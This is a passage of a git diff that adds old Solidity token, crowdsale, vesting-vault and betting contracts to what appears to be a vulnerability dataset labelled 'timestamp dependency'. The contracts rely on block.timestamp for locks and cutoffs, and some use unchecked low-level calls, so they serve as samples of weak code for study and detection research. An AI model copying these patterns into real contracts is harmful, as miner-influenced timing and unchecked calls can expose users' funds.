public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint _value) returns (bool success) { + uint _allowance = allowed[_from][msg.sender]; + + balances[_to] = safeAdd(balances[_to], _value); + balances[_from] = safeSub(balances[_from], _value); + allowed[_from][msg.sender] = safeSub(_allowance, _value); + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) constant returns (uint balance) { + return balances[_owner]; + } + + function approve(address _spender, uint _value) returns (bool success) { + + + + + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; + + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + +} + + + + + + +contract MintableTokenExt is StandardToken, Ownable { + + using SafeMathLibExt for uint; + + bool public mintingFinished = false; + + + mapping (address => bool) public mintAgents; + + event MintingAgentChanged(address addr, bool state ); + + + struct ReservedTokensData { + uint inTokens; + uint inPercentageUnit; + uint inPercentageDecimals; + bool isReserved; + bool isDistributed; + } + + mapping (address => ReservedTokensData) public reservedTokensList; + address[] public reservedTokensDestinations; + uint public reservedTokensDestinationsLen = 0; + bool reservedTokensDestinationsAreSet = false; + + modifier onlyMintAgent() { + + if(!mintAgents[msg.sender]) { + throw; + } + _; + } + + + modifier canMint() { + if(mintingFinished) throw; + _; + } + + function finalizeReservedAddress(address addr) public onlyMintAgent canMint { + ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; + reservedTokensData.isDistributed = true; + } + + function isAddressReserved(address addr) public constant returns (bool isReserved) { + return reservedTokensList[addr].isReserved; + } + + function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { + return reservedTokensList[addr].isDistributed; + } + + function getReservedTokens(address addr) public constant returns (uint inTokens) { + return reservedTokensList[addr].inTokens; + } + + function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { + return reservedTokensList[addr].inPercentageUnit; + } + + function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { + return reservedTokensList[addr].inPercentageDecimals; + } + + function setReservedTokensListMultiple( + address[] addrs, + uint[] inTokens, + uint[] inPercentageUnit, + uint[] inPercentageDecimals + ) public canMint onlyOwner { + assert(!reservedTokensDestinationsAreSet); + assert(addrs.length == inTokens.length); + assert(inTokens.length == inPercentageUnit.length); + assert(inPercentageUnit.length == inPercentageDecimals.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + if (addrs[iterator] != address(0)) { + setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); + } + } + reservedTokensDestinationsAreSet = true; + } + + + function mint(address receiver, uint amount) onlyMintAgent canMint public { + totalSupply = totalSupply.plus(amount); + balances[receiver] = balances[receiver].plus(amount); + + + + Transfer(0, receiver, amount); + } + + + function setMintAgent(address addr, bool state) onlyOwner canMint public { + mintAgents[addr] = state; + MintingAgentChanged(addr, state); + } + + function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { + assert(addr != address(0)); + if (!isAddressReserved(addr)) { + reservedTokensDestinations.push(addr); + reservedTokensDestinationsLen++; + } + + reservedTokensList[addr] = ReservedTokensData({ + inTokens: inTokens, + inPercentageUnit: inPercentageUnit, + inPercentageDecimals: inPercentageDecimals, + isReserved: true, + isDistributed: false + }); + } +} + + +contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt { + + + uint public maximumSellableTokens; + + function MintedTokenCappedCrowdsaleExt( + string _name, + address _token, + PricingStrategy _pricingStrategy, + address _multisigWallet, + uint _start, uint _end, + uint _minimumFundingGoal, + uint _maximumSellableTokens, + bool _isUpdatable, + bool _isWhiteListed + ) CrowdsaleExt(_name, _token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) { + maximumSellableTokens = _maximumSellableTokens; + } + + + event MaximumSellableTokensChanged(uint newMaximumSellableTokens); + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken) { + return tokensSoldTotal > maximumSellableTokens; + } + + function isBreakingInvestorCap(address addr, uint tokenAmount) public constant returns (bool limitBroken) { + assert(isWhiteListed); + uint maxCap = earlyParticipantWhitelist[addr].maxCap; + return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap; + } + + function isCrowdsaleFull() public constant returns (bool) { + return tokensSold >= maximumSellableTokens; + } + + function setMaximumSellableTokens(uint tokens) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + maximumSellableTokens = tokens; + MaximumSellableTokensChanged(maximumSellableTokens); + } + + function updateRate(uint newOneTokenInWei) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + assert(!lastTierCntrct.finalized()); + + pricingStrategy.updateRate(newOneTokenInWei); + } + + + function assignTokens(address receiver, uint tokenAmount) private { + MintableTokenExt mintableToken = MintableTokenExt(token); + mintableToken.mint(receiver, tokenAmount); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10369.sol b/smart_contract_dataset/timestamp dependency/10369.sol new file mode 100644 index 0000000000000000000000000000000000000000..a8392afae8c1b991d8aa2d6d2e172e93236b526a --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10369.sol @@ -0,0 +1,397 @@ +pragma solidity ^0.4.18; + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + +contract Token { + + + function totalSupply() constant returns (uint256 supply) {} + + + + function balanceOf(address _owner) constant returns (uint256 balance) {} + + + + + + function transfer(address _to, uint256 _value) returns (bool success) {} + + + + + + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} + + + + + + function approve(address _spender, uint256 _value) returns (bool success) {} + + + + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + + + + + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { return false; } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + + + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { return false; } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; + uint256 public totalSupply; +} + + + +contract MuskToken is StandardToken { + + function () { + + throw; + } + + + + + string public name; + uint8 public decimals; + string public symbol; + string public version = 'H1.0'; + + + + + + + + + function MuskToken( + ) { + balances[msg.sender] = 1000000000000000000000000000; + totalSupply = 1000000000000000000000000000; + name = "Musk Token"; + decimals = 18; + symbol = "MUSK"; + } + + + function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + + + + + if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } + return true; + } +} + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +contract MuskTokenVault is Ownable { + using SafeMath for uint256; + + + address public teamReserveWallet = 0xBf7E6DC9317dF0e9Fde7847577154e6C5114370d; + address public finalReserveWallet = 0xBf7E6DC9317dF0e9Fde7847577154e6C5114370d; + + + uint256 public teamReserveAllocation = 240 * (10 ** 6) * (10 ** 18); + uint256 public finalReserveAllocation = 10 * (10 ** 6) * (10 ** 18); + + + uint256 public totalAllocation = 250 * (10 ** 6) * (10 ** 18); + + uint256 public teamTimeLock = 2 * 365 days; + uint256 public teamVestingStages = 8; + uint256 public finalReserveTimeLock = 2 * 365 days; + + + mapping(address => uint256) public allocations; + + + mapping(address => uint256) public timeLocks; + + + mapping(address => uint256) public claimed; + + + uint256 public lockedAt = 0; + + MuskToken public token; + + + event Allocated(address wallet, uint256 value); + + + event Distributed(address wallet, uint256 value); + + + event Locked(uint256 lockTime); + + + modifier onlyReserveWallets { + require(allocations[msg.sender] > 0); + _; + } + + + modifier onlyTeamReserve { + require(msg.sender == teamReserveWallet); + require(allocations[msg.sender] > 0); + _; + } + + + modifier onlyTokenReserve { + require(msg.sender == finalReserveWallet); + require(allocations[msg.sender] > 0); + _; + } + + + modifier notLocked { + require(lockedAt == 0); + _; + } + + modifier locked { + require(lockedAt > 0); + _; + } + + + modifier notAllocated { + require(allocations[teamReserveWallet] == 0); + require(allocations[finalReserveWallet] == 0); + _; + } + + function MuskTokenVault(Token _token) public { + + owner = msg.sender; + token = MuskToken(_token); + + } + + function allocate() public notLocked notAllocated onlyOwner { + + + require(token.balanceOf(address(this)) == totalAllocation); + + allocations[teamReserveWallet] = teamReserveAllocation; + allocations[finalReserveWallet] = finalReserveAllocation; + + Allocated(teamReserveWallet, teamReserveAllocation); + Allocated(finalReserveWallet, finalReserveAllocation); + + lock(); + } + + + function lock() internal notLocked onlyOwner { + + lockedAt = block.timestamp; + + timeLocks[teamReserveWallet] = lockedAt.add(teamTimeLock); + timeLocks[finalReserveWallet] = lockedAt.add(finalReserveTimeLock); + + Locked(lockedAt); + } + + + + function recoverFailedLock() external notLocked notAllocated onlyOwner { + + + require(token.transfer(owner, token.balanceOf(address(this)))); + } + + + function getTotalBalance() public view returns (uint256 tokensCurrentlyInVault) { + + return token.balanceOf(address(this)); + + } + + + function getLockedBalance() public view onlyReserveWallets returns (uint256 tokensLocked) { + + return allocations[msg.sender].sub(claimed[msg.sender]); + + } + + + function claimTokenReserve() onlyTokenReserve locked public { + + address reserveWallet = msg.sender; + + + require(block.timestamp > timeLocks[reserveWallet]); + + + require(claimed[reserveWallet] == 0); + + uint256 amount = allocations[reserveWallet]; + + claimed[reserveWallet] = amount; + + require(token.transfer(reserveWallet, amount)); + + Distributed(reserveWallet, amount); + } + + + function claimTeamReserve() onlyTeamReserve locked public { + + uint256 vestingStage = teamVestingStage(); + + + uint256 totalUnlocked = vestingStage.mul(allocations[teamReserveWallet]).div(teamVestingStages); + + require(totalUnlocked <= allocations[teamReserveWallet]); + + + require(claimed[teamReserveWallet] < totalUnlocked); + + uint256 payment = totalUnlocked.sub(claimed[teamReserveWallet]); + + claimed[teamReserveWallet] = totalUnlocked; + + require(token.transfer(teamReserveWallet, payment)); + + Distributed(teamReserveWallet, payment); + } + + + function teamVestingStage() public view onlyTeamReserve returns(uint256){ + + + uint256 vestingMonths = teamTimeLock.div(teamVestingStages); + + uint256 stage = (block.timestamp.sub(lockedAt)).div(vestingMonths); + + + if(stage > teamVestingStages){ + stage = teamVestingStages; + } + + return stage; + + } + + + function canCollect() public view onlyReserveWallets returns(bool) { + + return block.timestamp > timeLocks[msg.sender] && claimed[msg.sender] == 0; + + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10431.sol b/smart_contract_dataset/timestamp dependency/10431.sol new file mode 100644 index 0000000000000000000000000000000000000000..d129d93d29f2b99809903f2f7b4f57766a156c5a --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10431.sol @@ -0,0 +1,294 @@ +pragma solidity ^0.4.21; + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + +contract StandardToken { + using SafeMath for uint256; + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); + + mapping(address => uint256) internal balances_; + mapping(address => mapping(address => uint256)) internal allowed_; + + uint256 internal totalSupply_; + string public name; + string public symbol; + uint8 public decimals; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function balanceOf(address _owner) public view returns (uint256) { + return balances_[_owner]; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed_[_owner][_spender]; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances_[msg.sender]); + + balances_[msg.sender] = balances_[msg.sender].sub(_value); + balances_[_to] = balances_[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances_[_from]); + require(_value <= allowed_[_from][msg.sender]); + + balances_[_from] = balances_[_from].sub(_value); + balances_[_to] = balances_[_to].add(_value); + allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed_[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } +} + + +contract EthTeamContract is StandardToken, Ownable { + event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue); + event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue); + event BeginGame(address indexed team1, address indexed team2, uint64 gameTime); + event EndGame(address indexed team1, address indexed team2, uint8 gameResult); + event ChangeStatus(address indexed team, uint8 status); + + + uint256 public price; + + uint8 public status; + + uint64 public gameTime; + + uint64 public finishTime; + + address public feeOwner; + + address public gameOpponent; + + + function EthTeamContract( + string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner + ) public { + name = _teamName; + symbol = _teamSymbol; + decimals = 3; + totalSupply_ = 0; + price = 1 szabo; + gameOpponent = _gameOpponent; + gameTime = _gameTime; + finishTime = _finishTime; + feeOwner = _feeOwner; + owner = msg.sender; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + if (_to != address(this)) { + return super.transfer(_to, _value); + } + require(_value <= balances_[msg.sender] && status == 0); + + if (gameTime > 1514764800) { + + require(gameTime - 300 > block.timestamp); + } + balances_[msg.sender] = balances_[msg.sender].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + uint256 weiAmount = price.mul(_value); + msg.sender.transfer(weiAmount); + emit Transfer(msg.sender, _to, _value); + emit Sell(_to, msg.sender, _value, weiAmount); + return true; + } + + + function() payable public { + require(status == 0 && price > 0); + + if (gameTime > 1514764800) { + + require(gameTime - 300 > block.timestamp); + } + uint256 amount = msg.value.div(price); + balances_[msg.sender] = balances_[msg.sender].add(amount); + totalSupply_ = totalSupply_.add(amount); + emit Transfer(address(this), msg.sender, amount); + emit Buy(address(this), msg.sender, amount, msg.value); + } + + + function changeStatus(uint8 _status) onlyOwner public { + require(status != _status); + status = _status; + emit ChangeStatus(address(this), _status); + } + + + function finish() onlyOwner public { + require(block.timestamp >= finishTime); + feeOwner.transfer(address(this).balance); + } + + + function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public { + require(_gameOpponent != address(0) && _gameOpponent != address(this) && gameOpponent == address(0)); + + require(_gameTime == 0 || (_gameTime > 1514764800)); + gameOpponent = _gameOpponent; + gameTime = _gameTime; + status = 0; + emit BeginGame(address(this), _gameOpponent, _gameTime); + } + + + function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public { + require(gameOpponent != address(0) && gameOpponent == _gameOpponent); + uint256 amount = address(this).balance; + uint256 opAmount = gameOpponent.balance; + require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3); + EthTeamContract op = EthTeamContract(gameOpponent); + if (_gameResult == 1) { + + if (amount > 0 && totalSupply_ > 0) { + uint256 lostAmount = amount; + + if (op.totalSupply() > 0) { + + uint256 feeAmount = lostAmount.div(20); + lostAmount = lostAmount.sub(feeAmount); + feeOwner.transfer(feeAmount); + op.transferFundAndEndGame.value(lostAmount)(); + } else { + + feeOwner.transfer(lostAmount); + op.transferFundAndEndGame(); + } + } else { + op.transferFundAndEndGame(); + } + } else if (_gameResult == 2) { + + if (amount > opAmount) { + lostAmount = amount.sub(opAmount).div(2); + if (op.totalSupply() > 0) { + + feeAmount = lostAmount.div(20); + lostAmount = lostAmount.sub(feeAmount); + feeOwner.transfer(feeAmount); + op.transferFundAndEndGame.value(lostAmount)(); + } else { + feeOwner.transfer(lostAmount); + op.transferFundAndEndGame(); + } + } else if (amount == opAmount) { + op.transferFundAndEndGame(); + } else { + + revert(); + } + } else if (_gameResult == 3) { + + op.transferFundAndEndGame(); + } else { + + revert(); + } + endGameInternal(); + if (totalSupply_ > 0) { + price = 